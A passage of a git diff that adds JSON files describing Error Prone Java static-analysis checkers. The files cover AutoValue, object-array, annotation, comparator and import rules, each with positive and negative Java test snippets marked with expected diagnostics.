@AutoValue\n abstract class Test {\n // BUG: Diagnostic contains: ImmutableList\n public abstract List countries();\n }" + }, + { + "description": "matchesMap", + "expected-problems": null, + "expected-linenumbers": [ + 100 + ], + "code": "import com.google.auto.value.AutoValue;\n import java.util.Map;\n\n @AutoValue\n abstract class Test {\n // BUG: Diagnostic contains: ImmutableMap\n public abstract Map countries();\n }" + }, + { + "description": "matchesMultimap", + "expected-problems": null, + "expected-linenumbers": [ + 118 + ], + "code": "import com.google.auto.value.AutoValue;\n import com.google.common.collect.Multimap;\n\n @AutoValue\n abstract class Test {\n // BUG: Diagnostic contains: ImmutableMultimap\n public abstract Multimap countries();\n }" + }, + { + "description": "matchesListMultimap", + "expected-problems": null, + "expected-linenumbers": [ + 136 + ], + "code": "import com.google.auto.value.AutoValue;\n import com.google.common.collect.ListMultimap;\n\n @AutoValue\n abstract class Test {\n // BUG: Diagnostic contains: ImmutableListMultimap\n public abstract ListMultimap countries();\n }" + }, + { + "description": "matchesSetMultimap", + "expected-problems": null, + "expected-linenumbers": [ + 154 + ], + "code": "import com.google.auto.value.AutoValue;\n import com.google.common.collect.SetMultimap;\n\n @AutoValue\n abstract class Test {\n // BUG: Diagnostic contains: ImmutableSetMultimap\n public abstract SetMultimap countries();\n }" + }, + { + "description": "matchesMultiset", + "expected-problems": null, + "expected-linenumbers": [ + 172 + ], + "code": "import com.google.auto.value.AutoValue;\n import com.google.common.collect.Multiset;\n\n @AutoValue\n abstract class Test {\n // BUG: Diagnostic contains: ImmutableMultiset\n public abstract Multiset countries();\n }" + }, + { + "description": "matchesSet", + "expected-problems": null, + "expected-linenumbers": [ + 190 + ], + "code": "import com.google.auto.value.AutoValue;\n import java.util.Set;\n\n @AutoValue\n abstract class Test {\n // BUG: Diagnostic contains: ImmutableSet\n public abstract Set countries();\n }" + }, + { + "description": "matchesTable", + "expected-problems": null, + "expected-linenumbers": [ + 208 + ], + "code": "import com.google.auto.value.AutoValue;\n import com.google.common.collect.Table;\n\n @AutoValue\n abstract class Test {\n // BUG: Diagnostic contains: ImmutableTable\n public abstract Table countries();\n }" + }, + { + "description": "matchesTwoProperties", + "expected-problems": null, + "expected-linenumbers": [ + 226 + ], + "code": "import com.google.auto.value.AutoValue;\n import java.util.Map;\n import java.util.Set;\n\n @AutoValue\n abstract class Test {\n // BUG: Diagnostic contains: ImmutableSet\n public abstract Set countriesSet();\n\n // BUG: Diagnostic contains: ImmutableMap\n public abstract Map countriesMap();\n }" + }, + { + "description": "noMatches", + "expected-problems": null, + "expected-linenumbers": [ + 248 + ], + "code": "import com.google.auto.value.AutoValue;\n import com.google.common.collect.ImmutableCollection;\n import com.google.common.collect.ImmutableList;\n import com.google.common.collect.ImmutableMap;\n import com.google.common.collect.ImmutableMultimap;\n import com.google.common.collect.ImmutableListMultimap;\n import com.google.common.collect.ImmutableSetMultimap;\n import com.google.common.collect.ImmutableMultiset;\n import com.google.common.collect.ImmutableSet;\n import com.google.common.collect.ImmutableTable;\n\n @AutoValue\n abstract class Test {\n public abstract ImmutableCollection immutableCountriesCollection();\n\n public abstract ImmutableList immutableCountriesList();\n\n public abstract ImmutableSet immutableCountriesSet();\n\n public abstract ImmutableMap immutableCountriesMap();\n\n public abstract ImmutableMultimap immutableCountriesMultimap();\n\n public abstract ImmutableListMultimap countriesListMultimap();\n\n public abstract ImmutableSetMultimap countriesSetMultimap();\n\n public abstract ImmutableMultiset immutableCountriesMultiset();\n\n public abstract ImmutableTable immutableCountriesTable();\n }" + }, + { + "description": "suppressionOnMethod", + "expected-problems": null, + "expected-linenumbers": [ + 289 + ], + "code": "import com.google.auto.value.AutoValue;\n import java.util.Collection;\n\n @AutoValue\n abstract class Test {\n @SuppressWarnings(\"AutoValueImmutableFields\")\n public abstract Collection countries();\n }" + }, + { + "description": "suppressionWithMutable", + "expected-problems": null, + "expected-linenumbers": [ + 307 + ], + "code": "import com.google.auto.value.AutoValue;\n import java.util.Collection;\n\n @AutoValue\n abstract class Test {\n @SuppressWarnings(\"mutable\")\n public abstract Collection countries();\n }" + }, + { + "description": "matchesNonPublic", + "expected-problems": null, + "expected-linenumbers": [ + 325 + ], + "code": "import com.google.auto.value.AutoValue;\n\n @AutoValue\n abstract class Test {\n // BUG: Diagnostic contains: ImmutableList\n abstract String[] countries();\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/AutoValueSubclassLeaked.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/AutoValueSubclassLeaked.json new file mode 100644 index 0000000..e872c48 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/AutoValueSubclassLeaked.json @@ -0,0 +1,62 @@ +{ + "name": "AutoValueSubclassLeaked", + "language": "java", + "description": "Do not refer to the autogenerated AutoValue_ class outside the file containing the corresponding @AutoValue base class.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 122, + "branches": 8, + "apis": 1, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 33 + ], + "code": "package test;\n\n import com.google.auto.value.AutoValue;\n\n class Test {\n @AutoValue\n abstract static class Foo {\n abstract int foo();\n }\n }\n \n\n package test;\n\n class Bar {\n public static Test.Foo create(int i) {\n // BUG: Diagnostic contains:\n return new AutoValue_Test_Foo(i);\n }\n }" + }, + { + "description": "negativeBuilder", + "expected-problems": null, + "expected-linenumbers": [ + 65 + ], + "code": "package test;\n\n import com.google.auto.value.AutoValue;\n\n class Test {\n @AutoValue\n abstract static class Foo {\n abstract int foo();\n\n @AutoValue.Builder\n abstract static class Builder {\n abstract Builder setFoo(int i);\n\n abstract Foo build();\n }\n\n public static Builder builder() {\n return new AutoValue_Test_Foo.Builder();\n }\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 96 + ], + "code": "package test;\n\n import com.google.auto.value.AutoValue;\n\n class Test {\n @AutoValue\n abstract static class Foo {\n abstract int foo();\n\n public static Foo create(int i) {\n return new AutoValue_Test_Foo(i);\n }\n }\n }" + }, + { + "description": "generatedCode", + "expected-problems": null, + "expected-linenumbers": [ + 120 + ], + "code": "package test;\n\n import com.google.auto.value.AutoValue;\n\n class Test {\n @AutoValue\n abstract static class Foo {\n abstract int foo();\n }\n }\n \n\n package test;\n\n import javax.annotation.processing.Generated;\n\n @Generated(\"generator\")\n class Bar {\n public static Test.Foo create(int i) {\n return new AutoValue_Test_Foo(i);\n }\n }" + }, + { + "description": "positiveAutoValueExtension", + "expected-problems": null, + "expected-linenumbers": [ + 154 + ], + "code": "package test;\n\n class $$AutoValue_Foo extends Test.Foo {}\n \n\n package test;\n\n import com.google.auto.value.AutoValue;\n\n class Test {\n @AutoValue\n abstract static class Foo {}\n }\n \n\n package test;\n\n class Bar {\n public static Test.Foo create() {\n // BUG: Diagnostic contains:\n return new $$AutoValue_Foo();\n }\n }" + }, + { + "description": "positiveAutoValueExtension_noGeneratedAnnotation", + "expected-problems": null, + "expected-linenumbers": [ + 191 + ], + "code": "package test;\n\n final class AutoValue_Test_Foo extends $AutoValue_Test_Foo {\n static final Test.Foo AUTO_VALUE = new AutoValue_Test_Foo();\n }\n \n\n package test;\n\n import javax.annotation.processing.Generated;\n\n @Generated(\"com.google.auto.value.processor.AutoValueProcessor\")\n class $AutoValue_Test_Foo extends Test.Foo {}\n \n\n package test;\n\n import com.google.auto.value.AutoValue;\n\n class Test {\n static final Test.Foo EXTENSION = new $AutoValue_Test_Foo();\n static final Test.Foo AUTO_VALUE = new AutoValue_Test_Foo();\n\n @AutoValue\n abstract static class Foo {}\n }\n \n\n package test;\n\n class Bar {\n // BUG: Diagnostic contains:\n static final Test.Foo EXTENSION = new $AutoValue_Test_Foo();\n // BUG: Diagnostic contains:\n static final Test.Foo AUTO_VALUE = new AutoValue_Test_Foo();\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/AvoidObjectArrays.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/AvoidObjectArrays.json new file mode 100644 index 0000000..c861b08 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/AvoidObjectArrays.json @@ -0,0 +1,110 @@ +{ + "name": "AvoidObjectArrays", + "language": "java", + "description": "Object arrays are inferior to collections in almost every way. Prefer immutable collections (e.g., ImmutableSet, ImmutableList, etc.) over an object array whenever possible.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 112, + "branches": 16, + "apis": 1, + "test": [ + { + "description": "methodParam_instanceMethods", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "public class ArrayUsage {\n // BUG: Diagnostic contains: consider an Iterable instead\n public void objectArray(Object[] objectArray) {}\n\n // BUG: Diagnostic contains: consider an Iterable instead\n public void stringArray(String[] stringArray) {}\n\n public void intArray(int[] intArray) {}\n\n public void objectValue(Object objectValue) {}\n\n public void stringValue(String stringValue) {}\n\n public void intValue(int intValue) {}\n }" + }, + { + "description": "methodParam_staticMethods", + "expected-problems": null, + "expected-linenumbers": [ + 56 + ], + "code": "public class ArrayUsage {\n // BUG: Diagnostic contains: consider an Iterable instead\n public static void objectArray(Object[] objectArray) {}\n\n // BUG: Diagnostic contains: consider an Iterable instead\n public static void stringArray(String[] stringArray) {}\n\n public static void intArray(int[] intArray) {}\n\n public static void objectValue(Object objectValue) {}\n\n public static void stringValue(String stringValue) {}\n\n public static void intValue(int intValue) {}\n }" + }, + { + "description": "methodParam_instanceMethods_withIterableOverload", + "expected-problems": null, + "expected-linenumbers": [ + 81 + ], + "code": "public class IterableSubject {\n public final void containsAnyIn(Iterable expected) {}\n\n public final void containsAnyIn(Object[] expected) {}\n }" + }, + { + "description": "returnType_instanceMethods", + "expected-problems": null, + "expected-linenumbers": [ + 96 + ], + "code": "public class ArrayUsage {\n // BUG: Diagnostic contains: consider an ImmutableList instead\n public Object[] objectArray() {\n return new String[] {\"a\"};\n }\n\n // BUG: Diagnostic contains: consider an ImmutableList instead\n public String[] stringArray() {\n return new String[] {\"a\"};\n }\n\n public int[] intArray() {\n return new int[] {42};\n }\n\n public Object objectValue() {\n return \"a\";\n }\n\n public String stringValue() {\n return \"a\";\n }\n\n public int intValue() {\n return 42;\n }\n }" + }, + { + "description": "returnType_staticMethods", + "expected-problems": null, + "expected-linenumbers": [ + 133 + ], + "code": "public class ArrayUsage {\n // BUG: Diagnostic contains: consider an ImmutableList instead\n public static Object[] objectArray() {\n return new String[] {\"a\"};\n }\n\n // BUG: Diagnostic contains: consider an ImmutableList instead\n public static String[] stringArray() {\n return new String[] {\"a\"};\n }\n\n public static int[] intArray() {\n return new int[] {42};\n }\n\n public static Object objectValue() {\n return \"a\";\n }\n\n public static String stringValue() {\n return \"a\";\n }\n\n public static int intValue() {\n return 42;\n }\n }" + }, + { + "description": "mainMethod", + "expected-problems": null, + "expected-linenumbers": [ + 170 + ], + "code": "public class ArrayUsage {\n public static void main(String[] args) {}\n }" + }, + { + "description": "twoDimensionalArrays", + "expected-problems": null, + "expected-linenumbers": [ + 183 + ], + "code": "public class ArrayUsage {\n // BUG: Diagnostic contains: Avoid returning a String[][]\n public String[][] returnValue() {\n return new String[2][2];\n }\n }" + }, + { + "description": "varArgs", + "expected-problems": null, + "expected-linenumbers": [ + 199 + ], + "code": "public class ArrayUsage {\n public void varArgs(String... strings) {}\n\n // BUG: Diagnostic contains: consider an Iterable instead\n public void varArgs(Class[] clazz, String... strings) {}\n }" + }, + { + "description": "annotationMethod", + "expected-problems": null, + "expected-linenumbers": [ + 215 + ], + "code": "public @interface TestAnnotation {\n String[] value();\n }" + }, + { + "description": "overridden", + "expected-problems": null, + "expected-linenumbers": [ + 228 + ], + "code": "public abstract class Parent {\n // BUG: Diagnostic contains: consider an ImmutableList instead\n public abstract String[] stringArray();\n }" + }, + { + "description": "junitParams", + "expected-problems": null, + "expected-linenumbers": [ + 251 + ], + "code": "import org.junit.runners.Parameterized.Parameters;\n\n public class ArrayUsage {\n @Parameters(name = \"{0}\")\n public static Object[] locales() {\n return new Object[] {\"vi\"};\n }\n }" + }, + { + "description": "stringArrayNamedArgs", + "expected-problems": null, + "expected-linenumbers": [ + 269 + ], + "code": "public class ArrayUsage {\n // BUG: Diagnostic contains: consider an Iterable instead\n public static void doSomething1(String[] args) {}\n\n // BUG: Diagnostic contains: consider an Iterable instead\n public static void doSomething2(String[] argv) {}\n\n // BUG: Diagnostic contains: consider an Iterable instead\n public static void doSomething3(String[] argz) {}\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/BadAnnotationImplementation.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/BadAnnotationImplementation.json new file mode 100644 index 0000000..525395b --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/BadAnnotationImplementation.json @@ -0,0 +1,102 @@ +{ + "name": "BadAnnotationImplementation", + "language": "java", + "description": "Classes that implement Annotation must override equals and hashCode. Consider using AutoAnnotation instead of implementing Annotation by hand.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 123, + "branches": 11, + "apis": 1, + "test": [ + { + "description": "declaredClassImplementsAnnotation", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "import java.lang.annotation.Annotation;\n\n // BUG: Diagnostic contains:\n public class TestAnnotation implements Annotation {\n @Override\n public Class annotationType() {\n return TestAnnotation.class;\n }\n }" + }, + { + "description": "anonymousClassImplementsAnnotation", + "expected-problems": null, + "expected-linenumbers": [ + 50 + ], + "code": "import java.lang.annotation.Annotation;\n\n public class Test {\n public Annotation getAnnotation() {\n // BUG: Diagnostic contains:\n return new Annotation() {\n @Override\n public Class annotationType() {\n return Annotation.class;\n }\n };\n }\n }" + }, + { + "description": "anonymousClassImplementsUserDefinedAnnotation", + "expected-problems": null, + "expected-linenumbers": [ + 73 + ], + "code": "import java.lang.annotation.Annotation;\n\n public class AnonymousClass {\n public Annotation getAnnotation() {\n // BUG: Diagnostic contains:\n return new MyAnnotation() {\n @Override\n public Class annotationType() {\n return Annotation.class;\n }\n };\n }\n }" + }, + { + "description": "overridesEqualsButNotHashCode", + "expected-problems": null, + "expected-linenumbers": [ + 97 + ], + "code": "import java.lang.annotation.Annotation;\n\n // BUG: Diagnostic contains:\n public class TestAnnotation implements Annotation {\n @Override\n public Class annotationType() {\n return TestAnnotation.class;\n }\n\n @Override\n public boolean equals(Object other) {\n return false;\n }\n }" + }, + { + "description": "overridesHashCodeButNotEquals", + "expected-problems": null, + "expected-linenumbers": [ + 121 + ], + "code": "import java.lang.annotation.Annotation;\n\n // BUG: Diagnostic contains:\n public class TestAnnotation implements Annotation {\n @Override\n public Class annotationType() {\n return TestAnnotation.class;\n }\n\n @Override\n public int hashCode() {\n return 0;\n }\n }" + }, + { + "description": "wrongEquals", + "expected-problems": null, + "expected-linenumbers": [ + 145 + ], + "code": "import java.lang.annotation.Annotation;\n\n // BUG: Diagnostic contains:\n public class TestAnnotation implements Annotation {\n @Override\n public Class annotationType() {\n return TestAnnotation.class;\n }\n\n public boolean equals(TestAnnotation other) {\n return false;\n }\n\n @Override\n public int hashCode() {\n return 0;\n }\n }" + }, + { + "description": "wrongHashCode", + "expected-problems": null, + "expected-linenumbers": [ + 173 + ], + "code": "import java.lang.annotation.Annotation;\n\n // BUG: Diagnostic contains:\n public class TestAnnotation implements Annotation {\n @Override\n public Class annotationType() {\n return TestAnnotation.class;\n }\n\n @Override\n public boolean equals(Object other) {\n return false;\n }\n\n public int hashCode(Object obj) {\n return 0;\n }\n }" + }, + { + "description": "overridesEqualsAndHashCode", + "expected-problems": null, + "expected-linenumbers": [ + 201 + ], + "code": "import java.lang.annotation.Annotation;\n\n public class TestAnnotation implements Annotation {\n @Override\n public Class annotationType() {\n return TestAnnotation.class;\n }\n\n @Override\n public boolean equals(Object other) {\n return false;\n }\n\n @Override\n public int hashCode() {\n return 0;\n }\n }" + }, + { + "description": "declareInterfaceThatExtendsAnnotation", + "expected-problems": null, + "expected-linenumbers": [ + 229 + ], + "code": "import java.lang.annotation.Annotation;\n\n public interface TestAnnotation extends Annotation {}" + }, + { + "description": "declareEnumThatImplementsAnnotation", + "expected-problems": null, + "expected-linenumbers": [ + 242 + ], + "code": "import java.lang.annotation.Annotation;\n\n // BUG: Diagnostic contains: Enums cannot correctly implement Annotation\n public enum TestEnum implements Annotation {\n VALUE_1,\n VALUE_2;\n\n @Override\n public Class annotationType() {\n return TestEnum.class;\n }\n }" + }, + { + "description": "extendsClassThatImplementsEqualsAndHashCode", + "expected-problems": null, + "expected-linenumbers": [ + 264 + ], + "code": "import java.lang.annotation.Annotation;\n\n public class BaseAnnotation implements Annotation {\n @Override\n public Class annotationType() {\n return Annotation.class;\n }\n\n @Override\n public boolean equals(Object other) {\n return false;\n }\n\n @Override\n public int hashCode() {\n return 0;\n }\n }\n \n\n import java.lang.annotation.Annotation;\n\n public class MyAnnotation extends BaseAnnotation {}" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/BadComparable.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/BadComparable.json new file mode 100644 index 0000000..9af038e --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/BadComparable.json @@ -0,0 +1,30 @@ +{ + "name": "BadComparable", + "language": "java", + "description": "Possible sign flip from narrowing conversion", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 132, + "branches": 14, + "apis": 1, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 32 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\nimport java.io.File;\nimport java.util.Comparator;\n\n/**\n * @author irogers@google.com (Ian Rogers)\n */\npublic class BadComparablePositiveCases {\n static class ComparableTest implements Comparable {\n private final long value = 0;\n\n public int compareTo(ComparableTest other) {\n // BUG: Diagnostic contains: return Long.compare(value, other.value);\n return (int) (value - other.value);\n }\n }\n\n static class BoxedComparableTest implements Comparable {\n private final Long value = Long.valueOf(0);\n\n public int compareTo(BoxedComparableTest other) {\n // BUG: Diagnostic contains: return value.compareTo(other.value);\n return (int) (value - other.value);\n }\n }\n\n static final Comparator COMPARATOR_UNBOXED_INT_CAST =\n new Comparator() {\n public int compare(Number n1, Number n2) {\n // BUG: Diagnostic contains: return Long.compare(n1.longValue(), n2.longValue())\n return (int) (n1.longValue() - n2.longValue());\n }\n };\n\n static final Comparator COMPARATOR_BOXED_INT_CAST =\n new Comparator() {\n public int compare(Long n1, Long n2) {\n // BUG: Diagnostic contains: return n1.compareTo(n2)\n return (int) (n1 - n2);\n }\n };\n\n static final Comparator COMPARATOR_FILE_INT_CAST =\n new Comparator() {\n public int compare(File lhs, File rhs) {\n // BUG: Diagnostic contains: return Long.compare(rhs.lastModified(), lhs.lastModified())\n return (int) (rhs.lastModified() - lhs.lastModified());\n }\n };\n}\\" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 93 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import java.util.Comparator;\n\n /**\n * @author irogers@google.com (Ian Rogers)\n */\n public class BadComparableNegativeCases {\n // The corrected cases of the PositiveCases test.\n static class ComparableTest implements Comparable {\n private final long value = 0;\n\n public int compareTo(ComparableTest other) {\n return Long.compare(value, other.value);\n }\n }\n\n static class BoxedComparableTest implements Comparable {\n private final Long value = Long.valueOf(0);\n\n public int compareTo(BoxedComparableTest other) {\n return value.compareTo(other.value);\n }\n }\n\n static final Comparator COMPARATOR_UNBOXED_INT_CAST =\n new Comparator() {\n public int compare(Number n1, Number n2) {\n return Long.compare(n1.longValue(), n2.longValue());\n }\n };\n\n static final Comparator COMPARATOR_BOXED_INT_CAST =\n new Comparator() {\n public int compare(Long n1, Long n2) {\n return n1.compareTo(n2);\n }\n };\n\n // Don't match non-Comparable or Comparator cases.\n static class NonComparableTest {\n private final long value = 0;\n\n public int compareTo(ComparableTest other) {\n return (int) (value - other.value);\n }\n }\n\n static final Object COMPARATOR_LIKE_INT_CAST =\n new Object() {\n public int compare(Long n1, Long n2) {\n return (int) (n1 - n2);\n }\n };\n\n // Narrowing conversions that don't follow the long -> int pattern.\n static final Comparator COMPARATOR_UNBOXED_NON_PATTERN_LONG_CAST =\n new Comparator() {\n // To match the Comparator API.\n @Override\n public int compare(Number n1, Number n2) {\n return (int) (n1.intValue() - n2.intValue());\n }\n\n public short compare(int n1, int n2) {\n return (short) (n1 - n2);\n }\n\n public byte compare(long n1, long n2) {\n return (byte) (n1 - n2);\n }\n };\n\n // Not narrowing conversions.\n static final Comparator COMPARATOR_UNBOXED_NON_NARROW_LONG_CAST =\n new Comparator() {\n // To match the Comparator API.\n @Override\n public int compare(Number n1, Number n2) {\n return (int) (n1.intValue() - n2.intValue());\n }\n\n public long compare(long n1, long n2) {\n return (long) (n1 - n2);\n }\n };\n\n static final Comparator COMPARATOR_UNBOXED_NON_NARROW_INT_CAST =\n new Comparator() {\n public int compare(Number n1, Number n2) {\n return (int) (n1.intValue() - n2.intValue());\n }\n };\n\n static final Comparator COMPARATOR_UNBOXED_NON_NARROW_SHORT_CAST =\n new Comparator() {\n // To match the Comparator API.\n @Override\n public int compare(Number n1, Number n2) {\n return (int) (n1.intValue() - n2.intValue());\n }\n\n public short compare(short n1, short n2) {\n return (short) (n1 - n2);\n }\n };\n\n static final Comparator COMPARATOR_UNBOXED_NON_NARROW_BYTE_CAST =\n new Comparator() {\n // To match the Comparator API.\n @Override\n public int compare(Number n1, Number n2) {\n return (int) (n1.intValue() - n2.intValue());\n }\n\n public byte compare(byte n1, byte n2) {\n return (byte) (n1 - n2);\n }\n };\n\n // Not signed conversions.\n static final Comparator COMPARATOR_UNBOXED_NON_NARROW_CHAR_CAST =\n new Comparator() {\n @Override\n public int compare(Number n1, Number n2) {\n return (char) (n1.shortValue() - n2.shortValue());\n }\n\n public char compare(char n1, char n2) {\n return (char) (n1 - n2);\n }\n\n public char compare(byte n1, byte n2) {\n return (char) (n1 - n2);\n }\n };\n }\\" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/BadImport.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/BadImport.json new file mode 100644 index 0000000..8b75c98 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/BadImport.json @@ -0,0 +1,222 @@ +{ + "name": "BadImport", + "language": "java", + "description": "Importing nested classes/static methods/static fields with commonly-used names can make code harder to read, because it may not be clear from the context exactly which type is being referred to. Qualifying the name with that of the containing class can make the code clearer.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 261, + "branches": 29, + "apis": 2, + "test": [ + { + "description": "positive_static_simpleCase", + "expected-problems": null, + "expected-linenumbers": [ + 33 + ], + "code": "import static com.google.common.collect.ImmutableList.of;\n import com.google.common.collect.ImmutableList;\n\n class Test {\n // BUG: Diagnostic contains: ImmutableList.of()\n ImmutableList list = of();\n }" + }, + { + "description": "positive_identifiers", + "expected-problems": null, + "expected-linenumbers": [ + 50 + ], + "code": "import static com.google.errorprone.CompilationTestHelper.newInstance;\n import com.google.errorprone.CompilationTestHelper;\n import com.google.errorprone.bugpatterns.BugChecker;\n\n class Test {\n private final CompilationTestHelper compilationTestHelper =\n // BUG: Diagnostic contains: CompilationTestHelper.newInstance\n newInstance(BugChecker.class, getClass());\n }" + }, + { + "description": "msg", + "expected-problems": null, + "expected-linenumbers": [ + 69 + ], + "code": "import static com.google.common.collect.ImmutableList.of;\n import com.google.common.collect.ImmutableList;\n\n class Test {\n // BUG: Diagnostic contains: qualified class: ImmutableList\n ImmutableList list = of();\n }" + }, + { + "description": "positive_static_differentOverloadsInvoked", + "expected-problems": null, + "expected-linenumbers": [ + 86 + ], + "code": "import static com.google.common.collect.ImmutableList.of;\nimport com.google.common.collect.ImmutableList;\n\nclass Test {\n // BUG: Diagnostic contains: ImmutableList.of(ImmutableList.of(1, 2, 3), ImmutableList.of())\n ImmutableList list = of(of(1, 2, 3), of());\n}" + }, + { + "description": "positive_truth8AssertThatTrueFlag", + "expected-problems": null, + "expected-linenumbers": [ + 103 + ], + "code": "import static com.google.common.truth.Truth8.assertThat;\n import java.util.stream.IntStream;\n\n class Test {\n void x(IntStream s) {\n // BUG: Diagnostic contains: usually recommend\n assertThat(s).isEmpty();\n }\n }" + }, + { + "description": "positive_static_locallyDefinedMethod", + "expected-problems": null, + "expected-linenumbers": [ + 123 + ], + "code": "import static com.google.common.collect.ImmutableList.of;\n import com.google.common.collect.ImmutableList;\n\n class Test {\n class Blah {\n Blah() {\n of(); // Left unchanged, because this is invoking Test.Blah.of.\n }\n\n void of() {}\n }\n\n ImmutableList list = of();\n }\n \n\n import static com.google.common.collect.ImmutableList.of;\n import com.google.common.collect.ImmutableList;\n\n class Test {\n class Blah {\n Blah() {\n of(); // Left unchanged, because this is invoking Test.Blah.of.\n }\n\n void of() {}\n }\n\n ImmutableList list = ImmutableList.of();\n }" + }, + { + "description": "negative_static_noStaticImport", + "expected-problems": null, + "expected-linenumbers": [ + 165 + ], + "code": "class Test {\n void of() {}\n\n void foo() {\n of();\n }\n }" + }, + { + "description": "positive_nested", + "expected-problems": null, + "expected-linenumbers": [ + 182 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\nimport com.google.common.collect.ImmutableList;\nimport com.google.common.collect.ImmutableList.Builder;\nimport org.jspecify.annotations.Nullable;\n\n/**\n * Tests for {@link BadImport}.\n *\n * @author awturner@google.com (Andy Turner)\n */\nclass BadImportPositiveCases {\n public void variableDeclarations() {\n // Only the first match is reported; but all occurrences are fixed.\n // BUG: Diagnostic contains: ImmutableList.Builder\n Builder qualified;\n Builder raw;\n }\n\n public void variableDeclarationsNestedGenerics() {\n Builder> builder1;\n Builder builder1Raw;\n ImmutableList.Builder> builder2;\n ImmutableList.Builder builder2Raw;\n }\n\n @Nullable Builder<@Nullable Builder<@Nullable String>>\n parameterizedWithTypeUseAnnotationMethod() {\n return null;\n }\n\n public void variableDeclarationsNestedGenericsAndTypeUseAnnotations() {\n\n @Nullable Builder<@Nullable String> parameterizedWithTypeUseAnnotation1;\n\n @Nullable Builder<@Nullable Builder<@Nullable String>> parameterizedWithTypeUseAnnotation2;\n }\n\n public void newClass() {\n new Builder();\n new Builder>();\n }\n\n Builder returnGenericExplicit() {\n return new Builder();\n }\n\n Builder returnGenericDiamond() {\n return new Builder<>();\n }\n\n Builder returnRaw() {\n return new Builder();\n }\n\n void classLiteral() {\n System.out.println(Builder.class);\n }\n}" + }, + { + "description": "positive_nested_parentNotAlreadyImported", + "expected-problems": null, + "expected-linenumbers": [ + 251 + ], + "code": "import com.google.common.collect.ImmutableList.Builder;\n\n class Test {\n // BUG: Diagnostic contains: ImmutableList.Builder builder = null;\n Builder builder = null;\n }" + }, + { + "description": "positive_nested_conflictingName", + "expected-problems": null, + "expected-linenumbers": [ + 267 + ], + "code": "package thing;\n\n public class A {\n public static class B {\n public static class Builder {}\n }\n }\n \n\n import thing.A.B.Builder;\n\n class Test {\n // BUG: Diagnostic contains: A.B.Builder builder;\n Builder builder;\n\n static class B {}\n }" + }, + { + "description": "positive_nested_conflictingNames_fullyQualified", + "expected-problems": null, + "expected-linenumbers": [ + 296 + ], + "code": "package thing;\n\n public class A {\n public static class B {\n public static class Builder {}\n }\n }\n \n\n import thing.A.B.Builder;\n\n class Test {\n // BUG: Diagnostic contains: thing.A.B.Builder builder\n Builder builder;\n\n static class A {}\n\n static class B {}\n }" + }, + { + "description": "negative_nested", + "expected-problems": null, + "expected-linenumbers": [ + 327 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import com.google.common.collect.ImmutableList;\n\n /**\n * Tests for {@link BadImport}.\n *\n * @author awturner@google.com (Andy Turner)\n */\n public class BadImportNegativeCases {\n public void qualified() {\n ImmutableList.Builder qualified;\n com.google.common.collect.ImmutableList.Builder fullyQualified;\n ImmutableList.Builder raw;\n\n new ImmutableList.Builder();\n }\n\n static class Nested {\n static class Builder {}\n\n void useNestedBuilder() {\n new Builder();\n }\n }\n }\\" + }, + { + "description": "negative_badImportIsTopLevelClass", + "expected-problems": null, + "expected-linenumbers": [ + 363 + ], + "code": "" + }, + { + "description": "nestedFixes", + "expected-problems": null, + "expected-linenumbers": [ + 379 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\nimport com.google.common.collect.ImmutableList;\nimport com.google.common.collect.ImmutableList.Builder;\nimport org.jspecify.annotations.Nullable;\n\n/**\n * Tests for {@link BadImport}.\n *\n * @author awturner@google.com (Andy Turner)\n */\nclass BadImportPositiveCases {\n public void variableDeclarations() {\n // Only the first match is reported; but all occurrences are fixed.\n // BUG: Diagnostic contains: ImmutableList.Builder\n Builder qualified;\n Builder raw;\n }\n\n public void variableDeclarationsNestedGenerics() {\n Builder> builder1;\n Builder builder1Raw;\n ImmutableList.Builder> builder2;\n ImmutableList.Builder builder2Raw;\n }\n\n @Nullable Builder<@Nullable Builder<@Nullable String>>\n parameterizedWithTypeUseAnnotationMethod() {\n return null;\n }\n\n public void variableDeclarationsNestedGenericsAndTypeUseAnnotations() {\n\n @Nullable Builder<@Nullable String> parameterizedWithTypeUseAnnotation1;\n\n @Nullable Builder<@Nullable Builder<@Nullable String>> parameterizedWithTypeUseAnnotation2;\n }\n\n public void newClass() {\n new Builder();\n new Builder>();\n }\n\n Builder returnGenericExplicit() {\n return new Builder();\n }\n\n Builder returnGenericDiamond() {\n return new 